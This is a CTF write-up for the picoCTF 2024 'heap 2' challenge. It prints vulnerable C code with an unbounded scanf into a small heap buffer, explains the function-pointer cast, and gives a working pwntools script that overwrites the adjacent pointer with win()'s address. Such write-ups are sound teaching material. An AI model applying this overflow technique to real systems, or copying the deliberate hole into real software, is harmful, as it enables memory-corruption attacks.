> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/ctf-writeups/picoctf-2024/binary-exploitation/heap-2-medium.md).

# heap 2 (Medium)

<figure><img src="/files/mNEMSDDpECZkAFFMvNdm" alt=""><figcaption></figcaption></figure>

***

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64

int num_allocs;
char *x;
char *input_data;

void win() {
    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);
}

void check_win() { ((void (*)())*(int*)x)(); }

void print_menu() {
    printf("\n1. Print Heap\n2. Write to buffer\n3. Print x\n4. Print Flag\n5. "
           "Exit\n\nEnter your choice: ");
    fflush(stdout);
}

void init() {

    printf("\nI have a function, I sometimes like to call it, maybe you should change it\n");
    fflush(stdout);

    input_data = malloc(5);
    strncpy(input_data, "pico", 5);
    x = malloc(5);
    strncpy(x, "bico", 5);
}

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

void print_heap() {
    printf("[*]   Address   ->   Value   \n");
    printf("+-------------+-----------+\n");
    printf("[*]   %p  ->   %s\n", input_data, input_data);
    printf("+-------------+-----------+\n");
    printf("[*]   %p  ->   %s\n", x, x);
    fflush(stdout);
}

int main(void) {

    // Setup
    init();

    int choice;

    while (1) {
        print_menu();
        if (scanf("%d", &choice) != 1) exit(0);

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print x
            printf("\n\nx = %s\n\n", x);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}
```

The most important parts of information I got from this source code was 2 different functions:

<pre class="language-c"><code class="lang-c">input_data = malloc(5);
strncpy(input_data, "pico", 5);
x = malloc(5);
strncpy(x, "bico", 5);
<strong>
</strong><strong>void check_win() { ((void (*)())*(int*)x)(); }
</strong></code></pre>

Let's understand what the first part does. malloc is basically a way to store 5 bytes of information into input\_data, considering that's the buffer size. strncpy is quite literally in its name, it takes a string and copies the amount of n into a variable.

The structure of strncpy as folllows: (dest, src, n). This means it copies from src ("pico") into the variable input\_data. Since pico is only 4 bytes of information, it just leaves the remaining 5th byte as null. This is repeated but with the string bico for x.&#x20;

Next, we have the check\_win() function.&#x20;

{% hint style="info" %}
A pointer is a variable that stores the memory address of another variable. Instead of holding a direct value, it holds the address where the value is stored in memory. It is the backbone of low-level memory manipulation in C. Specifically, A pointer is declared by specifying its data type and name, with an asterisk (\*) before the name. **Syntax**: data\_type \*pointer\_name;
{% endhint %}

But before analyzing, let's learn another piece of code:

```
int *ptr = (int *)malloc(20);
```

First of all malloc(20) reserves 20 bytes in the heap. This returns a pointer to the start of that memory block. For example, malloc could find a space that starts on memory address 0x2000. Next, the (int \*) is basically saying to treat the reserved 20 bytes as a pointer to integers. There's no integers added, it's just the memory address of the stored int (type).

int \*ptr declares a variable called ptr, but declares that ptr is a pointer to a integer, ptr will now hold a memory address. ptr equals to the memory address of the 20 bytes, essentially a chunk of integers. If you would print ptr, you would get an memory address, but if you print \*ptr (de-referring the value) you would get the actual value.&#x20;

```
((void (*)())*(int*)x)()
```

Lets analyze this one by one.&#x20;

{% hint style="info" %}
A void pointer is a pointer that has no associated data type with it. A void pointer can hold an address of any type and can be typecasted to any type.
{% endhint %}

1. x contains the buffer for "bico". It's a pointer to a memory, not the actual value. x is still a memory address given by malloc
2. (int\*), now we're treating x as a pointer to integers instead of characters
3. \*(int\*), the outside pointer derefers the value from x, getting the actual value. We don't get characters but rather numbers of the word bico.
4. (void (\*)()). Since void doesn't return anything, this code basically says "treat this number as a pointer to a function" and the () calls it.

"The big difference compared to the previous heap challenge is that the `check_win` function (menu choice 4) is "empty" and will call the address pointed to from the variable `x"`

### Solution

The first thing to do is to compile the source cord to something actually executable. I've also turned off PIE. PIE is an security feature that essentially randomizes the offset of the memory addresses, making it harder to actually predict them.&#x20;

<figure><img src="/files/dGa6AeJM1NS2GIJeq2sp" alt=""><figcaption></figcaption></figure>

Once we compile them, we want the address of the win() function. This function prints the flag. We'll be using pwndbg mainly for this.

<figure><img src="/files/2GQDPRq5RwHXA19tQaTC" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/zvGMx0mXXhOM5dcyogB4" alt=""><figcaption></figcaption></figure>

Also side note, I saw in a lot of write ups people use objdump instead of pwnbdg, but both could work. I honestly prefer using gdb since I like to centralize my tools.&#x20;

Next, we'll need to use pwntools!&#x20;

{% hint style="info" %}
`pwntools` is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
{% endhint %}

```python
#!/usr/bin/python

from pwn import *
# we import pwntools 

SERVER = 'mimas.picoctf.net'
PORT = 61205
# we estalbish the port number and the server 

context.log_level = "info"
# we establish the context.log level

io = remote(SERVER, PORT)

# Select menu option 2 (Write to buffer), we'll need to to add the "b" to convert it to bytes
io.sendlineafter(b"Enter your choice: ", b'2')

# Send payload
win_func = 0x401196
#establish the win_func memory address 

payload = 32 * b'A' + p64(win_func)
#send the letter "A" is one byte, so we send 32 bytes over. p64 packs integers (401196) 
#into bytes in Little Endian. 

io.sendlineafter(b"Data for buffer: ", payload)
#it sends the payload 

# Select menu option 4 (Print Flag)
io.sendlineafter(b"Enter your choice: ", b'4')
#calls to retreive the flag 

print(io.recvallS())
##returns as a string (convert bytes as a string)

io.close()
```

<figure><img src="/files/WAOmf52tnEQpel4CisiA" alt=""><figcaption></figcaption></figure>

Once we run the script, we can finally get the flag.

<figure><img src="/files/EAh0p2WmWGvkQS0YB01O" alt=""><figcaption></figcaption></figure>
